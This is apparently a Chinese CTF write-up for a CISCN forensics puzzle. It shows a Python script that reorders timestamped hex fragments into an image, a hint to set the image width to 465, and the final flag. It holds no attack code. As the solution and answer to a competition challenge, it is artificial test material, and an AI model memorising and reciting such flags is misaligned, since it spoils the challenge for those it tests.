TimeStamp:25/04/2021 19:43:59 GMT ?##5b4c4ce7b6d5edd6d5cb961fca84f193ca71471db155b62c9df5ea1ebed933929de07bebcdb7853ddaf6303ac6fbaaa0fff6bb23cbfefbecd716028173e1259796fbeebf3f12f43ea54fcfeee54f11c8

使用如下脚本按时间顺序提取出内容,再十六进制解码可得到一张图片。

1
2
3
4
5
6
7
8
9
10
11
12
import time

data = open("data", "r").read().split("\n")
dataSet = dict()
for datum in data:
timeStamp, datum = datum.split("?##")
timeStamp = timeStamp[10:29]
timeStamp = time.mktime(time.strptime(timeStamp, "%d/%m/%Y %H:%M:%S"))
set = {timeStamp: datum}
dataSet.update(set)
for i in sorted(dataSet):
print(dataSet[i], end="")

根据暗示将图片的宽度修改为 465 可以得到下图。

根据 SMS 提示可知 flag 前八位 15030442。将其拼合起来可得 flag。

1
CISCN{15030442_b586_4c9e_b436_26def12293e4}